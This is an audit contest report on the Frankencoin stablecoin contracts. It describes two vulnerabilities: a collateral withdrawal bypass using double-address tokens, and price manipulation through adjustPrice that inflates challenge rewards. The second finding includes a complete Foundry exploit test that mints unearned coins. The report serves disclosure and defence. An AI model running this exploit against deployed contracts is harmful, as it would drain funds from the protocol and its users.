Frankencoin - tallo's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L249-L255

Vulnerability details

The withdraw function in the Position.sol contract allows the Position owner to withdraw all deposited tokens in the contract with the exception of the collateral token. Under normal use the position holder has to go through withdrawCollateral and checkCollateral to withdraw their collateral. checkCollateral will revert when the position holder attempts to under-collateralize their position.

 function checkCollateral(uint256 collateralReserve, uint256 atPrice) internal view {
     if (collateralReserve * atPrice < minted * ONE_DEC18) revert InsufficientCollateral();
 }

This check can by bypassed if collateral is a double address token. This effectively allows the malicious Position holder to mint and keep their maximum before removing their collateral.

Impact

A malicious Position holder can withdraw their collateral after minting. Since anybody can provide any collateral to create a minting position, its up to the pool share holders to call the positions deny method if it is suspicious. If the pool share holders are not aware of multiple address tokens then its unlikely this method will actually be called.

Proof of Concept

function withdraw(address token, address target, uint256 amount) external onlyOwner {
    //@audit this check can be bypassed if the collateral token has multiple addresses
    if (token == address(collateral)){
        withdrawCollateral(target, amount);
    } else {
        //@audit this leads to the collateral being
        //transferred out right here instead of going through ```withdrawCollateral``` 
        IERC20(token).transfer(target, amount);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

1. Consider implementing a token blacklist
2. Add an additional checkCollateral check in the else clause

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L132 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L165 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L272 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L265 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L347

Vulnerability details

The MintingHub.sol contract contains functionality that allows anybody to launch a challenge on a valid Position contract through launchChallenge. Also located in MintingHub.sol is the bid function which allows users to bid on the specific challenge as well as end which allows users to end a challenge after the bidding period is complete. In addition to deleting the specific challenge, end also pays a CHALLENGER_REWARD to the user that initiates the challenge. The reward calculation is influenced by the price variable as seen in the following code snippet.

     //@audit calculated inside position.notifyChallengeSucceeded
     uint256 volumeZCHF = _mulD18(price, _size); 

     //@audit calculated inside end
     uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;

The price variable can be manipulated and greatly inflated by a call to the Position contracts adjustPrice function.

function adjustPrice(uint256 newPrice) public onlyOwner noChallenge {
     if (newPrice > price) {
         restrictMinting(3 days);
     } else {
         checkCollateral(collateralBalance(), newPrice);
     }
        //@audit here the price is changed to an arbitrary value
        price = newPrice;
        emitUpdate();
    }

Impact

Attacker can mint essentially unlimited frankencoins

Proof of Concept

pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {User} from "../MintingHubTest.sol";
import "../Strings.sol";
import "../TestToken.sol";
import "../../ERC20.sol";
import "../../Equity.sol";
import "../../IReserve.sol";
import "../../Frankencoin.sol";
import "../../IFrankencoin.sol";
import "../../Ownable.sol";
import "../../Position.sol";
import "../../IPosition.sol";
import "../../MintingHub.sol";
import "../../StablecoinBridge.sol";
import "../../PositionFactory.sol";

contract FrankencoinInvariants is Test {
    MintingHub hub;
    StablecoinBridge swap;
    IERC20 xchf;
    TestToken col;
    Frankencoin zchf;
    address latestPosition;
    uint256 latestChallenge;    
    User alice;

    function setUp() public {
        zchf = new Frankencoin(864000);
        xchf = new TestToken("CryptoFranc", "XCHF", uint8(18));
        swap = new StablecoinBridge(address(xchf), address(zchf), 1_000_000 ether);
        zchf.suggestMinter(address(swap), 0, 0, "");
        hub = new MintingHub(address(zchf), address(new PositionFactory()));
        zchf.suggestMinter(address(hub), 0, 0, "");

        col = new TestToken("Some Collateral", "COL", uint8(18));
        alice = new User(zchf);

    }
    function mintSomeStuff() internal {
        col.mint(address(alice), 2000e18);
        alice.obtainFrankencoins(swap, 2000e18);

        vm.prank(address(alice));
        col.approve(address(hub), 10000e18);
    }

    function test_priceInflationExploit() public {
        mintSomeStuff();

        console.log("\nAlice Collateral Balance before: %s.%s ETH", col.balanceOf(address(alice)) / 1e18, (col.balanceOf(address(alice)) % 1e18)/1e15);
        console.log("Alice Frankencoin Balance before: %s.%s ETH", zchf.balanceOf(address(alice)) / 1e18, (zchf.balanceOf(address(alice)) % 1e18)/1e15);

        vm.startPrank(address(alice));
        
        address collateralAddress = address(col);
        uint256 minCollateral = 1e18;
        uint256 initialCollateral = 2e18;
        uint256 mintingMaximum = 5 ether;
        uint256 initPeriodSeconds = 3 days;
        uint256 expirationSeconds = 1 days;
        uint256 challengeSeconds = 0 days;
        uint32 mintingFeePPM = 100;
        uint256 liqPrice = 1*(10**18);
        uint32 reservePPM = 0;

        //@audit start an arbitrary position
        address pos = hub.openPosition(collateralAddress, 
                                        minCollateral, 
                                        initialCollateral, 
                                        mintingMaximum, 
                                        initPeriodSeconds, 
                                        expirationSeconds, 
                                        challengeSeconds, 
                                        mintingFeePPM, 
                                        liqPrice, 
                                        reservePPM);

        //@audit adjust position price
        Position(pos).adjustPrice(1e36);

        //@audit launch an arbitrary challenge
        uint256 num = hub.launchChallenge(pos, 1e18);

        //@audit cancel the position immediately
        hub.end(num, false);

        vm.stopPrank();
   
       console.log("\n=====================================================================================\n");
        console.log("\nAlice Collateral Balance after: %s.%s ETH", col.balanceOf(address(alice)) / 1e18, (col.balanceOf(address(alice)) % 1e18)/1e15);
        console.log("Alice Frankencoin Balance after: %s.%s ETH", zchf.balanceOf(address(alice)) / 1e18, (zchf.balanceOf(address(alice)) % 1e18)/1e15);
    }
}

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

The position holder shouldn't have the ability to arbitrarily set their collateral price. Instead it should be a ratio based on the amount of collateral and amount of frankencoins to mint.